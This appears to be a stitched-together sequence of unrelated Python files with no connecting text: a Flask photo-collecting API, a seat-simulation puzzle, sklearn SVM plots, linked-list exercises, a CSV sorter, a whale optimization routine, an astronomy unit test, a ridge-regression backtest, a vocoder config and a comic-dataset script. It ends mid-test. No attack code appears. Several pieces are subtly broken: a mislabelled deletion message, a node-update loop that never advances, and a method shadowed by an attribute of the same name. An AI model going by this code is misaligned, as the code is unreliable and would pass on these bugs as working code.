from flask import render_template, Blueprint, jsonify, current_app
from flask_login import current_user

from noirart.notifications import push_follow_notification, push_collect_notification
from noirart.models import User, Notification, Photo

ajax_bp = Blueprint('ajax', __name__)

@ajax_bp.route('/profile/<int:user_id>')
def get_profile(user_id):
    user = User.query.get_or_404(user_id)
    return render_template('main/profile_popup.html', user=user)

@ajax_bp.route('/notifications-count')
def notifications_count():
    if not current_user.is_authenticated:
        return jsonify(message='Login required.'), 403

    count = Notification.query.with_parent(current_user).filter_by(is_read=False).count()
    return jsonify(count=count)

@ajax_bp.route('/<int:photo_id>/followers-count')
def collectors_count(photo_id):
    photo = Photo.query.get_or_404(photo_id)
    count = len(photo.collectors)
    return jsonify(count=count)

@ajax_bp.route('/collect/<int:photo_id>', methods=['POST'])
def collect(photo_id):
    current_app.logger.debug('ajax.py:collect()--->')
    if not current_user.is_authenticated:
        return jsonify(message='Login required.'), 403
    # if not current_user.confirmed:
    #     return jsonify(message='Confirm account required.'), 400
    if not current_user.can('COLLECT'):
        return jsonify(message='No permission.'), 403

    photo = Photo.query.get_or_404(photo_id)
    if current_user.is_collecting(photo):
        return jsonify(message='Already collected.'), 400

    current_user.collect(photo)
    if current_user != photo.author and photo.author.receive_collect_notification:
        push_collect_notification(collector=current_user, photo_id=photo_id, receiver=photo.author)
    return jsonify(message='Photo collected.')

@ajax_bp.route('/uncollect/<int:photo_id>', methods=['POST'])
def uncollect(photo_id):
    current_app.logger.debug('ajax.py uncollect()')
    if not current_user.is_authenticated:
        return jsonify(message='Login required.'), 403

    photo = Photo.query.get_or_404(photo_id)
    if not current_user.is_collecting(photo):
        return jsonify(message='Not collect yet.'), 400

    current_user.uncollect(photo)
    return jsonify(message='Collect canceled.')


def countAdj(i, j, floorMap) -> int:
    offsets = [(1, 0), (-1, 0), (0, 1), (0, -1), (1, 1), (1, -1), (-1, 1), (-1, -1)]
    count = 0
    for idx in range(len(offsets)):
        dx, dy = offsets[idx]
        x, y = i + dx, j + dy
        if x >= 0 and x < len(floorMap) and y >= 0 and y < len(floorMap[0]):
            count += 1 if floorMap[x][y] == '#' else 0
    return count

def advancedAdj(i, j, floorMap) -> int:
    offsets = [(1, 0), (-1, 0), (0, 1), (0, -1), (1, 1), (1, -1), (-1, 1), (-1, -1)]
    count = 0
    for idx in range(len(offsets)):
        found = False
        dx, dy = offsets[idx]
        x, y = i + dx, j + dy
        while not found and (x >= 0 and x < len(floorMap)) and (y >= 0 and y < len(floorMap[0])):
            found = floorMap[x][y] != '.'
            count += 1 if floorMap[x][y] == '#' and found else 0
            x, y = x + dx, y + dy
    return count

def countSeats(floorMap) -> int:
    return sum([val == '#' for row in floorMap for val in row])

def simulateSeats(floorMap, adjFunc, upperLimit) -> bool:
    newMap = [row[:] for row in floorMap]
    changed = False
    for i in range(len(floorMap)):
        for j in range(len(floorMap[0])):
            if floorMap[i][j] == 'L' and adjFunc(i, j, floorMap) == 0:
                newMap[i][j] = "#"
                changed = True
            if floorMap[i][j] == '#' and adjFunc(i, j, floorMap) >= upperLimit:
                newMap[i][j] = "L"
                changed = True
    return newMap, changed

with open('input.in', 'r') as f:
    floorMap = [list(i.strip()) for i in f.readlines()]
    parts = [[countAdj, 4], [advancedAdj, 5]]
    for p in parts:
        seats, changed = simulateSeats(floorMap, p[0], p[1])
        while changed: seats, changed = simulateSeats(seats, p[0], p[1])
        print(f"P{parts.index(p)+1}: Number of seats: {countSeats(seats)}")


# -*- coding: utf-8 -*-
"""
 Created on 2021/7/8 23:35
 Filename   : ex06_kernel_svm.py
 Author     : Taosy.W
 Zhihu      : https://www.zhihu.com/people/1105936347
 Github     : https://github.com/AFei19911012/PythonSamples
 Description:
"""

# =======================================================
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import Normalize

from sklearn.svm import SVC
from sklearn.preprocessing import StandardScaler
from sklearn.datasets import load_iris
from sklearn.model_selection import StratifiedShuffleSplit
from sklearn.model_selection import GridSearchCV
from sklearn import svm, datasets
from sklearn.datasets import make_classification
from sklearn.model_selection import train_test_split

# Utility function to move the midpoint of a colormap to be around
# the values of interest.

class MidpointNormalize(Normalize):

    def __init__(self, vmin=None, vmax=None, midpoint=None, clip=False):
        self.midpoint = midpoint
        Normalize.__init__(self, vmin, vmax, clip)

    def __call__(self, value, clip=None):
        x, y = [self.vmin, self.midpoint, self.vmax], [0, 0.5, 1]
        return np.ma.masked_array(np.interp(value, x, y))

def plot_rbf_parameters():
    # #############################################################################
    # Load and prepare data set
    #
    # dataset for grid search

    iris = load_iris()
    X = iris.data
    y = iris.target

    # Dataset for decision function visualization: we only keep the first two
    # features in X and sub-sample the dataset to keep only 2 classes and
    # make it a binary classification problem.

    X_2d = X[:, :2]
    X_2d = X_2d[y > 0]
    y_2d = y[y > 0]
    y_2d -= 1

    # It is usually a good idea to scale the data for SVM training.
    # We are cheating a bit in this example in scaling all of the data,
    # instead of fitting the transformation on the training set and
    # just applying it on the test set.

    scaler = StandardScaler()
    X = scaler.fit_transform(X)
    X_2d = scaler.fit_transform(X_2d)

    # #############################################################################
    # Train classifiers
    #
    # For an initial search, a logarithmic grid with basis
    # 10 is often helpful. Using a basis of 2, a finer
    # tuning can be achieved but at a much higher cost.

    C_range = np.logspace(-2, 10, 13)
    gamma_range = np.logspace(-9, 3, 13)
    param_grid = dict(gamma=gamma_range, C=C_range)
    cv = StratifiedShuffleSplit(n_splits=5, test_size=0.2, random_state=42)
    grid = GridSearchCV(SVC(), param_grid=param_grid, cv=cv)
    grid.fit(X, y)

    print("The best parameters are %s with a score of %0.2f"
          % (grid.best_params_, grid.best_score_))

    # Now we need to fit a classifier for all parameters in the 2d version
    # (we use a smaller set of parameters here because it takes a while to train)

    C_2d_range = [1e-2, 1, 1e2]
    gamma_2d_range = [1e-1, 1, 1e1]
    classifiers = []
    for C in C_2d_range:
        for gamma in gamma_2d_range:
            clf = SVC(C=C, gamma=gamma)
            clf.fit(X_2d, y_2d)
            classifiers.append((C, gamma, clf))

    # #############################################################################
    # Visualization
    #
    # draw visualization of parameter effects

    plt.figure(figsize=(8, 6))
    xx, yy = np.meshgrid(np.linspace(-3, 3, 200), np.linspace(-3, 3, 200))
    for (k, (C, gamma, clf)) in enumerate(classifiers):
        # evaluate decision function in a grid
        Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
        Z = Z.reshape(xx.shape)

        # visualize decision function for these parameters
        plt.subplot(len(C_2d_range), len(gamma_2d_range), k + 1)
        plt.title("gamma=10^%d, C=10^%d" % (np.log10(gamma), np.log10(C)),
                  size='medium')

        # visualize parameter's effect on decision function
        plt.pcolormesh(xx, yy, -Z, cmap=plt.cm.RdBu)
        plt.scatter(X_2d[:, 0], X_2d[:, 1], c=y_2d, cmap=plt.cm.RdBu_r,
                    edgecolors='k')
        plt.xticks(())
        plt.yticks(())
        plt.axis('tight')

    scores = grid.cv_results_['mean_test_score'].reshape(len(C_range), len(gamma_range))

    # Draw heatmap of the validation accuracy as a function of gamma and C
    #
    # The score are encoded as colors with the hot colormap which varies from dark
    # red to bright yellow. As the most interesting scores are all located in the
    # 0.92 to 0.97 range we use a custom normalizer to set the mid-point to 0.92 so
    # as to make it easier to visualize the small variations of score values in the
    # interesting range while not brutally collapsing all the low score values to
    # the same color.

    plt.figure(figsize=(8, 6))
    plt.subplots_adjust(left=.2, right=0.95, bottom=0.15, top=0.95)
    plt.imshow(scores, interpolation='nearest', cmap=plt.cm.hot,
               norm=MidpointNormalize(vmin=0.2, midpoint=0.92))
    plt.xlabel('gamma')
    plt.ylabel('C')
    plt.colorbar()
    plt.xticks(np.arange(len(gamma_range)), gamma_range, rotation=45)
    plt.yticks(np.arange(len(C_range)), C_range)
    plt.title('Validation accuracy')
    plt.show()

def plot_svm_nonlinear():
    xx, yy = np.meshgrid(np.linspace(-3, 3, 500),
                         np.linspace(-3, 3, 500))
    np.random.seed(0)
    X = np.random.randn(300, 2)
    Y = np.logical_xor(X[:, 0] > 0, X[:, 1] > 0)

    # fit the model
    clf = svm.NuSVC(gamma='auto')
    clf.fit(X, Y)

    # plot the decision function for each datapoint on the grid
    Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
    Z = Z.reshape(xx.shape)

    plt.imshow(Z, interpolation='nearest', extent=(xx.min(), xx.max(), yy.min(), yy.max()), aspect='auto',
               origin='lower', cmap=plt.cm.PuOr_r)
    contours = plt.contour(xx, yy, Z, levels=[0], linewidths=2, linestyles='dashed')
    plt.scatter(X[:, 0], X[:, 1], s=30, c=Y, cmap=plt.cm.Paired, edgecolors='k')
    plt.xticks(())
    plt.yticks(())
    plt.axis([-3, 3, -3, 3])
    plt.show()

def plot_custom_kernel():
    # import some data to play with
    iris = datasets.load_iris()
    X = iris.data[:, :2]  # we only take the first two features. We could
    # avoid this ugly slicing by using a two-dim dataset
    Y = iris.target

    def my_kernel(X, Y):
        """
        We create a custom kernel:

                     (2  0)
        k(X, Y) = X  (    ) Y.T
                     (0  1)
        """
        M = np.array([[2, 0], [0, 1.0]])
        return np.dot(np.dot(X, M), Y.T)

    h = .02  # step size in the mesh

    # we create an instance of SVM and fit out data.
    clf = svm.SVC(kernel=my_kernel)
    clf.fit(X, Y)

    # Plot the decision boundary. For that, we will assign a color to each
    # point in the mesh [x_min, x_max]x[y_min, y_max].
    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    plt.pcolormesh(xx, yy, Z, cmap=plt.cm.Paired)

    # Plot also the training points
    plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired, edgecolors='k')
    plt.title('3-Class classification using Support Vector Machine with custom kernel')
    plt.axis('tight')
    plt.show()

def plot_gram():
    X, y = make_classification(n_samples=10, random_state=0)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
    clf = svm.SVC(kernel='precomputed')
    # linear kernel computation
    gram_train = np.dot(X_train, X_train.T)
    clf.fit(gram_train, y_train)

    # predict on training examples
    gram_test = np.dot(X_test, X_train.T)
    print(clf.predict(gram_test))

if __name__ == '__main__':
    plot_rbf_parameters()
    plot_svm_nonlinear()
    plot_gram()


# Node class
class Node:
    def __init__(self, data):
        self.data = data
        self.next = None
        self.perv = None
class LinkedList:
    def __init__(self):
        self.head = None
    def push(self, new_data):
        new_node = Node(new_data)
        new_node.next = self.head
        self.head = new_node
    def deleteNode(self, key):
        temp = self.head
        if (temp is not None):
            if (temp.data == key):
                self.head = temp.next
                temp = None
                return
        while(temp is not None):
            if temp.data == key:
                break
            prev = temp
            temp = temp.next
        if(temp == None):
            return
        prev.next = temp.next
        temp = None
    def printList(self):
        temp = self.head
        while(temp):
            print (" %d" %(temp.data),)
            temp = temp.next

llist = LinkedList()
llist.push(1)
llist.push(8)
# pushing 9 in 3rd position
llist.push(9)
llist.push(7)
llist.push(6)
llist.push(2)

print ("Created Linked List: ")
llist.printList()
llist.deleteNode(9)
print ("\nLinked List after Deletion of 1:")
llist.printList()
class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class LinkedList:
    def __init__(self):
        self.head = None
    def push(self, new_data):
        new_node = Node(new_data)
        new_node.next = self.head
        self.head = new_node
    def search(self, x):
        current = self.head
        while current != None:
            if current.data == x:
                return True
            current = current.next
        return False
if __name__ == '__main__':

    # Start with the empty list
    llist = LinkedList()

    llist.push(1)
    llist.push(8)
    llist.push(9)
    llist.push(7)
    llist.push(6)
    llist.push(2)

    if llist.search(9):
        print("Yes")
    else:
        print("No")
    if llist.search(12):
        print("Yes")
    else:
        print("No")

class node:
    def __init__(self,data=None):
        self.data=data
        self.nextnode=None
        self.prevnode=None

x1=node("2")
x2=node("6")
x3=node("7")
x4=node("8")
x5=node("1")
x6=node("")

# SLL
x1.nextnode=x2
x2.nextnode=x3
x3.nextnode=x4
x4.nextnode=x5
print("SLL:")
head=x1
while head:
    print(head.data)
    head=head.nextnode
x5.nextnode=x1
x1.prevnode=x5
x1.nextnode=x2
x2.nextnode=x3
x2.prevnode=x1
x3.nextnode=x4
x3.prevnode=x2
x4.nextnode=x5
x4.prevnode=x3

currentnode = x5
print("CLL node")
while currentnode:
    print (currentnode.data)
    if currentnode.data == '8':
        break
    currentnode = currentnode.nextnode

print("update node 3")
index = 1
currentnode = x5
while currentnode:
    if index ==3:
        currentnode.data = '9'
        index +=1
        print (currentnode.data)
        if currentnode.data =='8':
            break
        currentnode=currentnode.nextnode
print ("traverse Forword")
currentnode=x5
while currentnode:
    print(currentnode.data)
    if currentnode.data =='8':
        break
    currentnode=currentnode.nextnode

print ("traverse Backword")
currentnode=x4
while currentnode:
    print(currentnode.data)
    if currentnode.data =='1':
        break
    currentnode=currentnode.prevnode


"""Sort CSV files"""

import csv
import argparse

def readfile(inputfile: str) -> list:
    """Read a given file and return a list of column values"""
    inputlist = []
    with open(inputfile, "r", newline="") as readable:
        csv_read = csv.reader(readable, delimiter=",")
        for line in csv_read:
            inputlist.append(line)
    return inputlist

def sortdata(inputdata: list, columnchoice: str) -> list:
    """Sort data by column choice and return it"""
    if len(inputdata) == 0:
        raise ValueError("This list is empty")
    return [inputdata[0]] + sorted(
        inputdata[1:], key=lambda a: a[inputdata[0].index(columnchoice)]
    )

def writefile(data: list, outputfile: str) -> None:
    """Write data to a file"""
    with open(outputfile, "w", newline="") as writeable:
        csv_write = csv.writer(writeable, delimiter=",")
        for row in data:
            csv_write.writerow(row)

def csvsort(inputfile: str, outputfile: str, columnchoice: str) -> None:
    """Read input file, sort by column choice, save to a new file"""
    fileread = readfile(inputfile)
    sorteddata = sortdata(fileread, columnchoice)
    writefile(sorteddata, outputfile)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Sort a csv file and write it to a new file"
    )
    parser.add_argument("--inputfile", type=str, help="The input file")
    parser.add_argument("--outputfile", type=str, help="The output file")
    parser.add_argument(
        "--columnchoice", type=str, help="The column to be sorted by"
    )
    args = parser.parse_args()

    csvsort(args.inputfile, args.outputfile, args.columnchoice)


import numpy as np
import random
import math
import copy

def initialization(pop,ub,lb,dim):
    X = np.zeros([pop,dim]) #声明空间
    for i in range(pop):
        for j in range(dim):
            X[i,j]=(ub[j]-lb[j])*np.random.random()+lb[j] #生成[lb,ub]之间的随机数

    return X

def BorderCheck(X,ub,lb,pop,dim):
    for i in range(pop):
        for j in range(dim):
            if X[i,j]>ub[j]:
                X[i,j] = ub[j]
            elif X[i,j]<lb[j]:
                X[i,j] = lb[j]
    return X

def CaculateFitness(X,fun):
    pop = X.shape[0]
    fitness = np.zeros([pop, 1])
    for i in range(pop):
        fitness[i] = fun(X[i, :])
    return fitness

def SortFitness(Fit):
    fitness = np.sort(Fit, axis=0)
    index = np.argsort(Fit, axis=0)
    return fitness,index

def SortPosition(X,index):
    Xnew = np.zeros(X.shape)
    for i in range(X.shape[0]):
        Xnew[i,:] = X[index[i],:]
    return Xnew

def WOA(pop, dim, lb, ub, MaxIter, fun):
    X = initialization(pop,ub,lb,dim) #初始化种群
    fitness = CaculateFitness(X, fun)  # 计算适应度值
    fitness, sortIndex = SortFitness(fitness)  # 对适应度值排序
    X = SortPosition(X, sortIndex)  # 种群排序
    GbestScore = copy.copy(fitness[0])#记录最优适应度值
    GbestPositon = np.zeros([1,dim])
    GbestPositon[0,:] = copy.copy(X[0, :])#记录最优解
    Curve = np.zeros([MaxIter, 1])
    for t in range(MaxIter):
        Leader = X[0, :]  # 领头鲸鱼
        a = 2 - t * (2 / MaxIter)  # 线性下降权重2 - 0
        for i in range(pop):
            r1 = random.random()
            r2 = random.random()

            A = 2 * a * r1 - a
            C = 2 * r2
            b = 1
            l = 2 * random.random() - 1 #[-1,1]之间的随机数

            for j in range(dim):
                p = random.random()
                if p < 0.5:
                    if np.abs(A) >= 1:#寻找猎物
                        rand_leader_index = min(int(np.floor(pop * random.random() + 1)), pop - 1)#随机选择一个个体
                        X_rand = X[rand_leader_index, :]
                        D_X_rand = np.abs(C * X_rand[j] - X[i, j])
                        X[i, j] = X_rand[j] - A * D_X_rand
                    elif np.abs(A) < 1:#包围猎物
                        D_Leader = np.abs(C * Leader[j] - X[i, j])
                        X[i, j] = Leader[j] - A * D_Leader
                elif p >= 0.5:#气泡网攻击
                    distance2Leader = np.abs(Leader[j] - X[i, j])
                    X[i, j] = distance2Leader * np.exp(b * l) * np.cos(l * 2 * math.pi) + Leader[j]

        X = BorderCheck(X, ub, lb, pop, dim)  # 边界检测
        fitness = CaculateFitness(X, fun)  # 计算适应度值
        fitness, sortIndex = SortFitness(fitness)  # 对适应度值排序
        X = SortPosition(X, sortIndex)  # 种群排序
        if fitness[0] <= GbestScore:  # 更新全局最优
            GbestScore = copy.copy(fitness[0])
            GbestPositon[0,:] = copy.copy(X[0, :])
        Curve[t] = GbestScore

    return GbestScore, GbestPositon, Curve
    # return GbestScore[0], GbestPositon[0][0], Curve


""" Unit processing_components for rascil advise

"""
import logging
import unittest
import shutil

import numpy
from astropy import units as u
from astropy.coordinates import SkyCoord

from rascil.apps.rascil_advise import cli_parser, advise
from rascil.data_models.parameters import rascil_path
from rascil.data_models.polarisation import PolarisationFrame
from rascil.processing_components import (
    export_blockvisibility_to_ms,
    concatenate_blockvisibility_frequency,
)
from rascil.processing_components.simulation import create_named_configuration
from rascil.processing_components.simulation import ingest_unittest_visibility

log = logging.getLogger("rascil-logger")
log.setLevel(logging.WARNING)

class TestRASCILAdvise(unittest.TestCase):
    def make_MS(self, nfreqwin=1, dopol=False, zerow=False):

        self.low = create_named_configuration("LOWBD2", rmax=750.0)
        self.freqwin = nfreqwin
        self.ntimes = 3
        self.times = numpy.linspace(-3.0, +3.0, self.ntimes) * numpy.pi / 12.0
        self.frequency = numpy.linspace(0.8e8, 1.2e8, self.freqwin)

        if self.freqwin > 1:
            self.channelwidth = numpy.array(
                self.freqwin * [self.frequency[1] - self.frequency[0]]
            )
        else:
            self.channelwidth = numpy.array([1e6])

        if dopol:
            self.vis_pol = PolarisationFrame("linear")
            self.image_pol = PolarisationFrame("stokesIQUV")
            f = numpy.array([100.0, 20.0, 0.0, 0.0])
        else:
            self.vis_pol = PolarisationFrame("stokesI")
            self.image_pol = PolarisationFrame("stokesI")
            f = numpy.array([100.0])

        self.phasecentre = SkyCoord(
            ra=+180.0 * u.deg, dec=-60.0 * u.deg, frame="icrs", equinox="J2000"
        )
        self.bvis_list = [
            ingest_unittest_visibility(
                self.low,
                [self.frequency[i]],
                [self.channelwidth[i]],
                self.times,
                self.vis_pol,
                self.phasecentre,
                zerow=zerow,
            )
            for i in range(nfreqwin)
        ]

        shutil.rmtree(
            rascil_path("test_results/test_rascil_advise.ms"), ignore_errors=True
        )
        if nfreqwin > 1:
            self.bvis_list = [concatenate_blockvisibility_frequency(self.bvis_list)]

        export_blockvisibility_to_ms(
            rascil_path("test_results/test_rascil_advise.ms"), self.bvis_list
        )

    def setUp(self) -> None:

        self.results_dir = rascil_path("test_results")

        parser = cli_parser()
        self.args = parser.parse_args([])
        self.args.ingest_msname = rascil_path("test_results/test_rascil_advise.ms")

    def tearDown(self) -> None:
        shutil.rmtree(
            rascil_path("test_results/test_rascil_advise.ms"), ignore_errors=True
        )

    def test_advise(self):

        self.make_MS()

        advice = advise(self.args)

        numpy.testing.assert_almost_equal(advice["cellsize"], 0.0010626331874509759)
        numpy.testing.assert_almost_equal(
            advice["freq_sampling_primary_beam"], 2381946.1861413997
        )
        numpy.testing.assert_almost_equal(advice["nwpixels"], 18)
        numpy.testing.assert_almost_equal(advice["nwpixels_image"], 494)
        numpy.testing.assert_almost_equal(
            advice["time_sampling_primary_beam"], 2572.5018810327115
        )

if __name__ == "__main__":
    unittest.main()


import pandas as pd
import numpy as np
from sklearn.linear_model import Ridge, LinearRegression
from sklearn.metrics import r2_score, precision_score, recall_score, accuracy_score

class Backtest():
    def __init__(self, z: int=1000, T: int=12, use_type=np.float32):
        self.z = z
        self.T = T
        self.use_type = np.float32
        self.prediction = None
        self.performance = None

    def predict(self, X: np.array, y: np.array):
        """Trains a ridge regression on T training samples and creates a 1-step ahead prediction.
        'Timing Strategy' is the return of the forecast weighted by its forecast value. Both 'Timing Strategy' and 'Market Return'
        are 1-step ahead and refer to the next month. E.g. for Index 2020-01-01, those values refer to the return in 2020-02-01.

        Args:
            X (np.array): independent variables
            y (np.array): dependent variable
        """
        backtest = []
        T_max, self.P = X.shape
        self.c = self.P / self.T

        index = list(range(self.T, T_max))
        for t in index:
            S_train = X[t-self.T:t].astype(self.use_type)
            R_train = y[t-self.T:t].astype(self.use_type)

            S_test = X[t:t+1].astype(self.use_type)
            R_test = y[t:t+1].astype(self.use_type)

            # Ridge.alpha is adjusted by T to get the same results as in the paper.
            beta = Ridge(alpha=(self.z*self.T), solver="svd", fit_intercept=False, normalize=False).fit(S_train, R_train).coef_
            forecast = S_test @ beta
            # Keep in mind that R_test is 1-step ahead, thus it satisfies beta'*S_t*R_t+1
            timing_strategy = forecast * R_test

            backtest.append({
                "index": R_test.index[0],
                "beta_norm": np.sqrt((beta**2).sum()),
                "forecast": forecast[0],
                "timing_strategy": timing_strategy[0],
                "market_return": R_test[0]
            })
        # The last value for market_return is NaN since it is predicting the next month
        self.backtest = pd.DataFrame(backtest).set_index("index")
        self.prediction = self.backtest["forecast"]
        return self

    def performance(self, time_factor:int = 12):
        """Calculates various performance metrics for the backtest.

        Args:
            time_factor (int, optional): Factor to annualize the data e.g. 12 for a monthly frequency. Defaults to 12.
        """
        data = self.backtest.dropna()
        # Calculate Alpha & Beta of the timing strategy
        market_reg = LinearRegression().fit(data[["market_return"]], data["timing_strategy"])
        beta = market_reg.coef_[0]
        alpha = market_reg.intercept_

        # Annualize returns
        sqrt_time_factor = np.sqrt(time_factor)
        mean = data["timing_strategy"].mean()*time_factor
        std = data["timing_strategy"].std()*sqrt_time_factor
        mean_market = data["market_return"].mean()*time_factor

        self.performance = {
            "beta_norm_mean" : data["beta_norm"].mean(),
            "Market Sharpe Ratio" : (data["market_return"].mean()*time_factor) / (data["market_return"].std()*sqrt_time_factor),
            "Expected Return" : mean,
            "Volatility" : std,
            "R2" : r2_score(data["market_return"], data["forecast"]),
            "SR" : mean/std,
            # Adjust IR by beta to get a better scaling since mean converges to zero for higher c
            "IR" : (mean - mean_market*beta)/std,
            "Alpha" : alpha,
            # Does sign(forecast) match sign(market_return)?
            "Precision": precision_score(data["market_return"] > 0, data["forecast"] > 0),
            "Recall": recall_score(data["market_return"] > 0, data["forecast"] > 0),
            "Accuracy": accuracy_score(data["market_return"] > 0, data["forecast"] > 0),
        }
        return self.performance


# CONFIG -----------------------------------------------------------------------------------------------------------#

# Here are the input and output data paths (Note: you can override wav_path in preprocess.py)
wav_path = './dataset/LJSpeech-1.1/wavs/'
data_path = './dataset/data/'

sample_rate = 22050
n_fft = 2048
fft_bins = n_fft // 2 + 1
num_mels = 80
hop_length = 275                    # 12.5ms - in line with Tacotron 2 paper
win_length = 1100                   # 50ms - same reason as above
fmin = 40
min_level_db = -100
ref_level_db = 20
bits = 9                            # bit depth of signal
mu_law = True                       # Recommended to suppress noise if using raw bits in hp.voc_mode below
peak_norm = False                   # Normalise to the peak of each wav file

# WAVERNN_deepmind -----------------------------------------------------------------------------------------------------#
dpm_lr = 1e-4
dpm_batch_size = 32
dpm_hidden_size = 896
dpm_quantisation = 256
dpm_seq_len = 960
dpm_test_rate = 0.2


import base64
import os
import zlib
from pathlib import Path
from typing import List

import cv2
import jsonpickle
import matplotlib.pyplot as plt
import numpy as np
import xmltodict
from sklearn.metrics import precision_recall_fscore_support

from core.Rect import get_overlap_clusters, Point, Rect
from core.comicspage import ComicsPage

jsonpickle.set_preferred_backend('json')
jsonpickle.set_encoder_options('json', ensure_ascii=False, indent=4)

ORIGIN_PATH = Path("assets/origin")
PAGES_PATH = Path("assets/pages")
GT_PATH = Path("assets/gt")

def compress_numpy_array(arr):
    data = zlib.compress(arr)
    data = base64.b64encode(data)
    return data

def decompress_numpy_array(data, shape):
    data2 = base64.b64decode(data)
    data2 = zlib.decompress(data2)
    fdata = np.frombuffer(data2, dtype=np.uint8).reshape(shape)

    return fdata

def get_numpy_array_from_json(json_str: str):
    obj = jsonpickle.decode(json_str)
    return decompress_numpy_array(obj["data"], obj["shape"])

def convert_svg_to_json(src: Path) -> None:
    filename, extension = os.path.splitext(os.path.basename(str(src)))
    destination = ORIGIN_PATH.joinpath(filename + ".json")

    if destination.exists():
        return

    res = xmltodict.parse(src.read_text(encoding="utf-8"))

    root = res["svg"]
    title = root["title"]
    contents = root["svg"]

    width = contents[0]["image"]["@width"]
    height = contents[0]["image"]["@height"]
    href = str(PAGES_PATH.joinpath(filename + ".jpg").as_posix())

    bubbles = {}

    for content in contents:
        if content["@class"] == "Balloon":
            polygon = content["polygon"]

            for pol in polygon:
                bubbles[pol["@id"]] = {
                    "points": [list(map(lambda x: int(x), el.split(","))) for el in pol["@points"].split(" ")],
                    "metadata": {
                        "border_style": pol["metadata"]["@borderStyle"],
                        "tail_tip": pol["metadata"]["@tailTip"],
                        "bounding_box": pol["metadata"]["@boundingBox"],
                        "tail_direction": pol["metadata"]["@tailDirection"],
                        "rank": pol["metadata"]["@rank"]
                    },
                    "lines": [],
                }
        elif content["@class"] == "Line":
            polygon = content["polygon"]
            for pol in polygon:
                if "@idBalloon" in pol["metadata"]:
                    key = pol["metadata"]["@idBalloon"]
                    bubbles[key]["lines"].append({
                        "points": [list(map(lambda x: int(x), el.split(","))) for el in pol["@points"].split(" ")],
                        "text_type": pol["metadata"]["@textType"],
                        "text": pol["metadata"]["#text"]
                    })

    speech_bubbles = []

    for key, value in bubbles.items():
        bubble = value
        bubble["id"] = key
        speech_bubbles.append(bubble)

    result = {
        "title": title,
        "width": width,
        "height": height,
        "href": href,
        "speech_bubbles": speech_bubbles
    }

    ComicsPage(result).save(destination)

def get_all_comics_pages() -> List[ComicsPage]:
    return comics_pages

def display_image_in_actual_size(img):
    dpi = 80

    if len(img.shape) == 2:
        height, width = img.shape
    else:
        height, width, depth = img.shape

    # What size does the figure need to be in inches to fit the image?
    figsize = width / float(dpi), height / float(dpi)

    # Create a figure of the right size with one axes that takes up the full figure
    fig = plt.figure(figsize=figsize)
    ax = fig.add_axes([0, 0, 1, 1])

    # Hide spines, ticks, etc.
    ax.axis('off')

    # Display the image.
    ax.imshow(img, cmap='gray')

    plt.show()

def get_blank_with_contours(contours, shape):
    height, width = shape
    blank_image = np.zeros(shape=[height, width, 3], dtype=np.uint8)

    for cnt in contours:
        cv2.fillPoly(blank_image, [cnt], [255, 255, 255])

    return blank_image

def convert_blank_image_to_bw(img):
    # convert to RGB
    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
    # convert to grayscale
    gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
    return gray

def convert_bw_image_to_zero_and_ones(img):
    return np.where(img != 0, 1, img)

def get_precision_recall_f1_score(orig, pred):
    return precision_recall_fscore_support(orig, pred, average="binary", labels=[0, 1])

def prepare_dataset_for_speech_bubbles_experiment():
    for comics_page in comics_pages:
        json_path = speech_bubbles_experiment_dataset_path.joinpath(comics_page.title + ".json")
        if json_path.exists():
            return

        txt_path = speech_bubbles_experiment_dataset_path.joinpath(comics_page.title + ".txt")

        if txt_path.exists():
            return

        contours = comics_page.get_contours()
        blank_image = get_blank_with_contours(contours, (int(comics_page.height), int(comics_page.width)))
        bw = convert_blank_image_to_bw(blank_image)
        result = convert_bw_image_to_zero_and_ones(bw)

        lines = []
        rectangles = []

        for cnt in contours:
            x, y, w, h = cv2.boundingRect(cnt)
            rectangles.append(Rect(Point(x, y), Point(x + w, y + h)))

        contours = get_overlap_clusters(rectangles)
        for cnt in contours:
            lines.append(f"balloon {cnt.left} {cnt.top} {cnt.right - cnt.left} {cnt.top - cnt.bottom}")

        txt_path.write_text("\n".join(lines))

        compressed_data = compress_numpy_array(result)

        json_path.write_text(jsonpickle.encode({
            "data": compressed_data,
            "shape": result.shape
        }))

def prepare_dataset_for_ocr_experiment():
    for comics_page in comics_pages:
        json_path = ocr_experiment_dataset_path.joinpath(comics_page.title + ".json")
        data = {"title": comics_page.title, "data": []}

        # if json_path.exists():
        #     return

        [images, texts] = comics_page.get_contours_bounding_rect_images_and_texts()

        for i in range(len(images)):
            cv2.imwrite(str(ocr_experiment_dataset_path.joinpath(comics_page.title + f"_{i}.jpg")), images[i])
            ocr_experiment_dataset_path.joinpath(comics_page.title + f"_{i}.txt").write_text(texts[i], encoding="utf-8")

            data['data'].append({
                "name": comics_page.title + f"_{i}",
                "image": str(ocr_experiment_dataset_path.joinpath(comics_page.title + f"_{i}.jpg")),
                "text": texts[i]
            })

        json_path.write_text(jsonpickle.encode(data))

for filename in GT_PATH.glob("*.svg"):
    convert_svg_to_json(filename)

comics_pages: List[ComicsPage] = []
for file_name in ORIGIN_PATH.glob("*.json"):
    comics_pages.append(ComicsPage.open(file_name))

speech_bubbles_experiment_path = Path("experiments/speechbubbles")
speech_bubbles_experiment_dataset_path = speech_bubbles_experiment_path.joinpath("dataset")

ocr_experiment_path = Path("experiments/ocr")
ocr_experiment_dataset_path = ocr_experiment_path.joinpath("dataset")

if not speech_bubbles_experiment_dataset_path.exists():
    speech_bubbles_experiment_dataset_path.mkdir()

if not ocr_experiment_dataset_path.exists():
    ocr_experiment_dataset_path.mkdir()


import unittest
import tensorflow as tf
from deepdialog.transformer import metrics

tf.enable_eager_execution()

class TestMetrics(unittest.TestCase):
    def test_padded_cross_entropy_loss(self):
        logits = tf.constant([[
